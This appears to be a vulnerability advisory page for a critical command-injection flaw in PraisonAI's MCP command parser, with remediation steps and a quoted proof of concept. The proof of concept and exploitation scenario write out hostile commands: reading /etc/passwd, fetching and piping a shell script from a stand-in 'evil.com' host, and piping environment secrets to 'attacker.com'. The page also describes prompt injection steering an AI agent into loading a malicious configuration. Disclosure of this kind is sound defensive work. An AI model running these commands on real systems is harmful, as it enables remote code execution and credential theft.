PraisonAI's MCP command handler passes arbitrary executable strings—including bash, python, and /bin/sh with inline code execution flags—directly to subprocess without an allowlist or argument validation, enabling unauthenticated remote code execution on any host running the framework. With a CVSS of 9.8 (AV:N/AC:L/PR:N/UI:N), exploitation is trivial: any attacker who can influence an MCP server configuration—via a malicious plugin, tampered config file, or prompt injection that directs the agent to load an attacker-controlled MCP definition—gains full shell access with no special privileges. The situation is compounded by an incomplete fix at commit 47bff654 that creates false confidence, as the patched parse_mcp_command() still lacks the three controls that would actually prevent exploitation: an executable allowlist, basename path validation, and argument inspection. Upgrade to praisonai >= 4.5.149 immediately and verify the patch includes ALLOWED_COMMANDS enforcement; if upgrade is blocked, disable MCP server features and restrict subprocess monitoring to alert on unexpected executables spawned by the agent process.
What is the risk?
Critical. CVSS 9.8 with network attack vector, low complexity, and no privileges or user interaction required makes this trivially exploitable at scale. The incomplete patch is a significant compounding factor—organizations that applied the fix commit but did not upgrade to 4.5.149 remain fully vulnerable while believing they are protected. As an AI agent framework, PraisonAI typically runs with broad system permissions and network access, amplifying blast radius beyond the process itself to credential stores, connected services, and adjacent infrastructure. The 35 prior CVEs in this package signal persistent security debt in the codebase.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | <= 4.5.148 | 4.5.149 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
7 steps-
Patch: upgrade praisonai to >= 4.5.149 immediately.
-
Verify the patched parse_mcp_command() actually includes ALLOWED_COMMANDS enforcement and os.path.basename() validation—do not assume the package release reflects the fix commit alone.
-
Audit all MCP server configurations in use: inventory every configured executable and remove anything outside npx, uvx, node, python.
-
Harden configuration file permissions to prevent unauthorized modification; treat MCP config files as privileged assets.
-
Monitor subprocess invocations: alert on bash, sh, cmd, wget, curl, or any executable not on an explicit allowlist spawned by the PraisonAI process.
-
If an immediate upgrade is blocked, disable MCP server features entirely via configuration.
-
Rotate any credentials or API keys that were accessible to the PraisonAI process on affected systems, as a precaution against prior exploitation.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-9qhq-v63v-fv3j?
PraisonAI's MCP command handler passes arbitrary executable strings—including bash, python, and /bin/sh with inline code execution flags—directly to subprocess without an allowlist or argument validation, enabling unauthenticated remote code execution on any host running the framework. With a CVSS of 9.8 (AV:N/AC:L/PR:N/UI:N), exploitation is trivial: any attacker who can influence an MCP server configuration—via a malicious plugin, tampered config file, or prompt injection that directs the agent to load an attacker-controlled MCP definition—gains full shell access with no special privileges. The situation is compounded by an incomplete fix at commit 47bff654 that creates false confidence, as the patched parse_mcp_command() still lacks the three controls that would actually prevent exploitation: an executable allowlist, basename path validation, and argument inspection. Upgrade to praisonai >= 4.5.149 immediately and verify the patch includes ALLOWED_COMMANDS enforcement; if upgrade is blocked, disable MCP server features and restrict subprocess monitoring to alert on unexpected executables spawned by the agent process.
Is GHSA-9qhq-v63v-fv3j actively exploited?
No confirmed active exploitation of GHSA-9qhq-v63v-fv3j has been reported, but organizations should still patch proactively.
How to fix GHSA-9qhq-v63v-fv3j?
1. Patch: upgrade praisonai to >= 4.5.149 immediately. 2. Verify the patched parse_mcp_command() actually includes ALLOWED_COMMANDS enforcement and os.path.basename() validation—do not assume the package release reflects the fix commit alone. 3. Audit all MCP server configurations in use: inventory every configured executable and remove anything outside npx, uvx, node, python. 4. Harden configuration file permissions to prevent unauthorized modification; treat MCP config files as privileged assets. 5. Monitor subprocess invocations: alert on bash, sh, cmd, wget, curl, or any executable not on an explicit allowlist spawned by the PraisonAI process. 6. If an immediate upgrade is blocked, disable MCP server features entirely via configuration. 7. Rotate any credentials or API keys that were accessible to the PraisonAI process on affected systems, as a precaution against prior exploitation.
What systems are affected by GHSA-9qhq-v63v-fv3j?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP integrations, multi-agent pipelines, AI development environments, CI/CD AI pipelines.
What is the CVSS score for GHSA-9qhq-v63v-fv3j?
GHSA-9qhq-v63v-fv3j has a CVSS v3.1 base score of 9.8 (CRITICAL).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.005 AI Agent Tool AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0081 Modify AI Agent Configuration AML.T0112.000 Local AI Agent Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution. ### Affected Package - **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** < 47bff65413be - **Patched versions:** >= 47bff65413be ### Details The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments. The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands. Malicious MCP server commands such as `python -c 'import os; os.system("id")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-34935 - PraisonAI command injection via parse_mcp_command() Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654). The pre-patch parse_mcp_command() performs NO validation on the executable or arguments, allowing arbitrary command execution via MCP server commands. Repo: https://github.com/MervinPraison/PraisonAI Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c """ import sys import os import importlib.util # Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py" def load_mcp_handler(): """Load the real MCPHandler class from the vulnerable source.""" base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py" spec_base = importlib.util.spec_from_file_location("features_base", base_path) mod_base = importlib.util.module_from_spec(spec_base) sys.modules["features_base"] = mod_base with open(MCP_PATH) as f: source = f.read() source = source.replace("from .base import FlagHandler", """ class FlagHandler: def print_status(self, msg, level="info"): print(f"[{level}] {msg}") """) ns = {"__name__": "mcp_module", "__file__": MCP_PATH} exec(compile(source, MCP_PATH, "exec"), ns) return ns["MCPHandler"] def main(): MCPHandler = load_mcp_handler() handler = MCPHandler() print(f"Source file: {MCP_PATH}") print(f"Loaded MCPHandler from real PraisonAI source") print() malicious_commands = [ "python -c 'import os; os.system(\"id\")'", "node -e 'require(\"child_process\").execSync(\"whoami\")'", "bash -c 'cat /etc/passwd'", "/bin/sh -c 'wget http://evil.com/shell.sh | sh'", ] print("Testing parse_mcp_command with malicious inputs:") print() all_accepted = True for cmd_str in malicious_commands: try: cmd, args, env = handler.parse_mcp_command(cmd_str) print(f" Input: {cmd_str}") print(f" Command: {cmd}") print(f" Args: {args}") print(f" Result: ACCEPTED (no validation)") print() except Exception as e: print(f" Input: {cmd_str}") print(f" Result: REJECTED ({e})") all_accepted = False print() if all_accepted: print("ALL malicious commands accepted without validation!") print() with open(MCP_PATH) as f: source = f.read() has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower() has_basename_check = "os.path.basename" in source has_validation = has_allowlist or has_basename_check print(f"Has command allowlist: {has_allowlist}") print(f"Has basename check: {has_basename_check}") print(f"Has any command validation: {has_validation}") print() if not has_validation: print("COMMAND INJECTION: parse_mcp_command() has NO command validation!") print(" - No allowlist of permitted executables") print(" - No argument inspection") print(" - Arbitrary commands passed directly to subprocess execution") print() print("VULNERABILITY CONFIRMED") sys.exit(0) print("Some commands were rejected - validation present") sys.exit(1) if __name__ == "__main__": main() ``` **Steps to reproduce:** 1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real` 2. `cd /tmp/praisonai_real && git checkout 47bff654~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist. ``` ### Impact An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement. ### Suggested Remediation Implement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).
Exploitation Scenario
An attacker targets an organization using PraisonAI for autonomous AI agent workflows. They identify that MCP server configurations are loaded from a shared plugin registry or version-controlled repository with broader write access than the production environment. The attacker submits a pull request or package update containing an MCP server definition with the command string 'bash -c "env | curl -d @- https://attacker.com/exfil"'. When the CI/CD pipeline or a developer workstation loads this configuration, parse_mcp_command() accepts it without validation and passes it to subprocess execution. The attacker receives all environment variables—including LLM API keys, database credentials, and cloud provider tokens—and uses them to pivot into model infrastructure, exfiltrate training data, and establish persistence in the broader AI development environment.
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-61447 10.0 PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonai CVE-2026-61445 9.9 PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai